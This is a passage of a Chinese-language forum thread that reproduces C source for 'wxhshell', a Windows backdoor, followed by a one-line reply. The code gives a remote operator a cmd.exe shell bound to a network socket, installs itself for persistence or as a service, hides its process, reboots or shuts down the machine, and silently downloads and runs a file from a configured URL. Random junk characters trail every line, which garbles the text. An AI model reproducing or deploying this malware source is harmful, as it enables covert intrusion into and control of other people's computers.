  send(wsh,msg_ws_down,strlen(msg_ws_down),0); To? bp4  
  if(DownloadFile(cmd,wsh)) a-2 {x2O  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); zW`koRH@  
  else U+M?<4J) "  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cyeDZ)  
  } Rw8m5U  
  else { _VJwC|  
5kNs@FP  
    switch(cmd[0]) { 9yAu<a  
  1Sk6[h'CL  
  // 帮助 Z*3}L  
  case '?': { 0! %}  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 80>!qG  
    break; 2![W N*N>O  
  } &bK$!8Z  
  // 安装 7V``f:#d  
  case 'i': { FQ1oqqr  
    if(Install()) *lF%8k"Al  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3(p6ak2lv  
    else Q8:ocEhR  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o_m.MMEU  
    break; g$LwXfg  
    } &JM;jS z  
  // 卸载 }Cg~::,"  
  case 'r': { k(+u"T  
    if(Uninstall()) )B4c;O4t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =nZd"t'p|  
    else >g2.z>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JAlsc]XtO9  
    break; 74Wg@! P  
    } s\R?@  
  // 显示 wxhshell 所在路径 t+q`h3  
  case 'p': { E1g$WhXIS  
    char svExeFile[MAX_PATH]; [&V%rhi  
    strcpy(svExeFile,"\n\r"); S6X<3L`FfH  
      strcat(svExeFile,ExeFile); Rx-i.EtZ  
        send(wsh,svExeFile,strlen(svExeFile),0); zD-8#H35X"  
    break; PaJwM%s)L  
    } $O!<Zz   
  // 重启 qEz'l'%(  
  case 'b': { P9wDTZ :4  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); nQmYeM  
    if(Boot(REBOOT)) +[`%b3Nk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5~0;R`D  
    else { LdUpVO8)l  
    closesocket(wsh); 1zW6Pb  
    ExitThread(0); 3s`3}DKK  
    } /=}vP ey  
    break; VNXVuM )c  
    } nP31jm+A  
  // 关机 j-|0&X1C  
  case 'd': { zSCPp6  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); "PtH F`mo  
    if(Boot(SHUTDOWN)) s$6#3%h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |_m;@.44?U  
    else { Ka{Zoi]  
    closesocket(wsh); 5Oq;V: 7  
    ExitThread(0); Vrh],xK7  
    } MEUqQ4/Gl  
    break; CU_06A|}  
    } (B#|3o  
  // 获取shell mX_`rvYII  
  case 's': { jXZNr  
    CmdShell(wsh); --sb ;QG  
    closesocket(wsh); %L.+r!.  
    ExitThread(0); SiT &p  
    break; Pc1N~?}.  
  } :[3\jLrc  
  // 退出 c*Nbz,:  
  case 'x': { 4/|=0TC;  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); UMaKvr-C&  
    CloseIt(wsh); KW<CU'  
    break; Um<vsR  
    } -Ma"V  
  // 离开 tEs$+b  
  case 'q': { V.1sZYA9  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); FU3B;Fn^Z(  
    closesocket(wsh); xd@DN;e  
    WSACleanup(); p.|; k%c7  
    exit(1); l?[DO?m+R  
    break; _3S{n=9  
        } dz 2d`=`3  
  } FoQk  
  } lR!$+atW  
*Rd&4XG  
  // 提示信息 a=dN.OB}F7  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y"ck;OQD  
} p3'+"sFU  
  } H"l'E9k.&p  
kz^G.5n   
  return; rge/jE,^~Z  
} %*nZ,r  
gP@ni$n  
// shell模块句柄 u@B"*V~K  
int CmdShell(SOCKET sock) nabN.Ly  
{ L?fv5 S3  
STARTUPINFO si; #UQ[8e  
ZeroMemory(&si,sizeof(si)); sh1()vT  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; U|nk8 6r  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; i}19$x.D`  
PROCESS_INFORMATION ProcessInfo; 8Yh2K}  
char cmdline[]="cmd"; f/ZE_MN2  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); f]}F_]  
  return 0; }UrtDXhA  
} 2OTpGl  
Ipe;%as#  
// 自身启动模式 85mQHZ8aR  
int StartFromService(void) j^.P=;  
{ %`'VXR?`h=  
typedef struct rL=$WxdPU  
{ j*{bM{~T<  
  DWORD ExitStatus; cx|j _5%i  
  DWORD PebBaseAddress; $/H'Dt6x  
  DWORD AffinityMask; G. }yNjL8  
  DWORD BasePriority; zBbTj IFQ  
  ULONG UniqueProcessId; ?*4zNhL  
  ULONG InheritedFromUniqueProcessId; "^H+A-R[  
}   PROCESS_BASIC_INFORMATION; zjmc>++<t  
xcig'4L  
PROCNTQSIP NtQueryInformationProcess; jo ^*R'}  
?6dtvz;K+?  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; k$UBZ,=iC  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; DYS(ZY)4  
XHr{\/4V  
  HANDLE             hProcess; :$j~;)2  
  PROCESS_BASIC_INFORMATION pbi; O 2U/zF:X  
HD ~9EK~  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); uOQ5.S+  
  if(NULL == hInst ) return 0; ]^y}}y  
&BgaFx**  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); E !8y|_(j  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); NmQ]qv  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4jpF^&y7u^  
 J{y@ O  
  if (!NtQueryInformationProcess) return 0; T*IudxW  
i ,'~Ds  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); yrjm0BM#  
  if(!hProcess) return 0; ;%1^k/b6t  
.<.qRq-  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; pqe**`z@y  
TO.NCO\x  
  CloseHandle(hProcess); D1f=f88/}  
-n9e-0  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Hpt)(Nz:  
if(hProcess==NULL) return 0; AS7!FD6b  
eZcm3=WV|  
HMODULE hMod; 89paR[  
char procName[255]; 4v>V7T.  
unsigned long cbNeeded; =BtEduz  
ew(6;}+^/  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); F,sT[C  
_W;u Qg']  
  CloseHandle(hProcess); aqB^  %e  
0e7!_ /9  
if(strstr(procName,"services")) return 1; // 以服务启动 YblRwic  
Y%faf.$/9  
  return 0; // 注册表启动 TDoYp  
} .#n?^73  
?]t8$^m,;  
// 主模块 V/Q6v YX  
int StartWxhshell(LPSTR lpCmdLine) /a q%l]hQ@  
{ vZ08/!n  
  SOCKET wsl; 4Z_.Jdu w  
BOOL val=TRUE; gvC2\k{  
  int port=0; -4Xr5j%o  
  struct sockaddr_in door;  lcr=^  
)oj`K,#  
  if(wscfg.ws_autoins) Install(); <n>< A+D  
M(|gfsD  
port=atoi(lpCmdLine); AKpux,@xB  
s+[=nau('w  
if(port<=0) port=wscfg.ws_port; $H#&.IjY  
h+Dok#g  
  WSADATA data; cZu:dwE  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; <fw[7=_)^  
R9W(MLe58  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   DbcKKgPn(9  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 4Mprc~ 7vr  
  door.sin_family = AF_INET; .JiQq]  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); #_E8>;)k  
  door.sin_port = htons(port); x!< C0N>?z  
9xWrz;tzo  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { , ?%`Ky/  
closesocket(wsl); TX>;2S3q   
return 1; B0Z@ Cf  
} #U1soZ7  
MwuH.# Ez  
  if(listen(wsl,2) == INVALID_SOCKET) { \R<yja  
closesocket(wsl); j.z#fU  
return 1; -X=f+4j  
} DxYu   
  Wxhshell(wsl); WV8<gx`Q  
  WSACleanup(); @ +7'0[y?  
|!}$V  
return 0; 78X;ZMY  
xH=&={  
} B4.hJZ5  
d1,azM  
// 以NT服务方式启动 WMg#pLc#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) R+m{nO~r  
{ 0QGl'u{F  
DWORD   status = 0;  *) wp  
  DWORD   specificError = 0xfffffff; b#P8Je`;9  
&L/ C:<.  
  serviceStatus.dwServiceType     = SERVICE_WIN32; [p <L*3<  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 3{%/1>+x5  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; y|@^0]}%<  
  serviceStatus.dwWin32ExitCode     = 0; H(pOR< `  
  serviceStatus.dwServiceSpecificExitCode = 0; 0trFLX  
  serviceStatus.dwCheckPoint       = 0; ';1 c  
  serviceStatus.dwWaitHint       = 0; q%JV"9,  
YFW+l~[#  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); MVdE7P  
  if (hServiceStatusHandle==0) return; 7DI8r|~  
q)P<lKi  
status = GetLastError(); $/D@=P kc  
  if (status!=NO_ERROR) _ pJU~8  
{ qYpHH!!C=  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; x[vX|oE!A  
    serviceStatus.dwCheckPoint       = 0; mU3UQ j  
    serviceStatus.dwWaitHint       = 0; )QX9T  
    serviceStatus.dwWin32ExitCode     = status; 'C[gcp  
    serviceStatus.dwServiceSpecificExitCode = specificError; B^6P 6,  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); nBNZ@nD  
    return; BjB2YO& /  
  } ;w1h)  
S4|)N,#  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; -F*j`  
  serviceStatus.dwCheckPoint       = 0; 5B51^"  
  serviceStatus.dwWaitHint       = 0; >V]> h&`  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); kh`X92~  
} 5Zq- |"|  
Me8d o; G|  
// 处理NT服务事件,比如:启动、停止 F`-? 3]\3  
VOID WINAPI NTServiceHandler(DWORD fdwControl) t'z] <7  
{ %TLAn[LW(  
switch(fdwControl) uU<Yf5  
{ bk8IGhO|m!  
case SERVICE_CONTROL_STOP: D.HAp+lx  
  serviceStatus.dwWin32ExitCode = 0; >6aCBS?2  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 9/nL3U@i1  
  serviceStatus.dwCheckPoint   = 0; P[Qr[74 )  
  serviceStatus.dwWaitHint     = 0; t$}+oCnkv  
  { m, *f6g  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0[PP -]JS  
  } 9_HEImk  
  return; 7ed*dXY*  
case SERVICE_CONTROL_PAUSE: =B; )h  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; M HgS5b2  
  break; ^m5{:\ Xk  
case SERVICE_CONTROL_CONTINUE:  1 ft. ZJ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 5Wn6a$^  
  break; i G<|3I  
case SERVICE_CONTROL_INTERROGATE: js>6Du  
  break; d 5Il0sG  
}; ?"L>jr(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9 /9,[A  
} Tp9LBF  
x[)S3U J  
// 标准应用程序主函数 =P5SFMPN  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) z\;kjI  
{ (V |P6C  
/]YK:7*98  
// 获取操作系统版本 oVLz7Y[JE  
OsIsNt=GetOsVer(); 0a(*/u  
GetModuleFileName(NULL,ExeFile,MAX_PATH); {xOu*8J  
KKOu":b  
  // 从命令行安装 +[cm  
  if(strpbrk(lpCmdLine,"iI")) Install(); oiklRf  
K<V(h#(.@  
  // 下载执行文件 F2XXvxG  
if(wscfg.ws_downexe) { iA%3cpIc(Z  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) -,Q<*)q{  
  WinExec(wscfg.ws_filenam,SW_HIDE); YpuA,r;"  
} 1pcSfN:"1  
Muarryh}  
if(!OsIsNt) { $i =-A  
// 如果时win9x,隐藏进程并且设置为注册表启动 &jj\-;=~Ho  
HideProc(); S;CT:kG6Y{  
StartWxhshell(lpCmdLine); )`g[k" yB3  
} &*0!${ B  
else of(Nq@  
  if(StartFromService()) [TNYPA> {  
  // 以服务方式启动 [t ^|l?  
  StartServiceCtrlDispatcher(DispatchTable); `5>IvrzXrK  
else JhuK W>7  
  // 普通方式启动 Bw{W-&$o  
  StartWxhshell(lpCmdLine); E6n;_{Se/S  
<@Ew-JU  
return 0; ?lbX.+  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
10+5=?,请输入中文答案:十五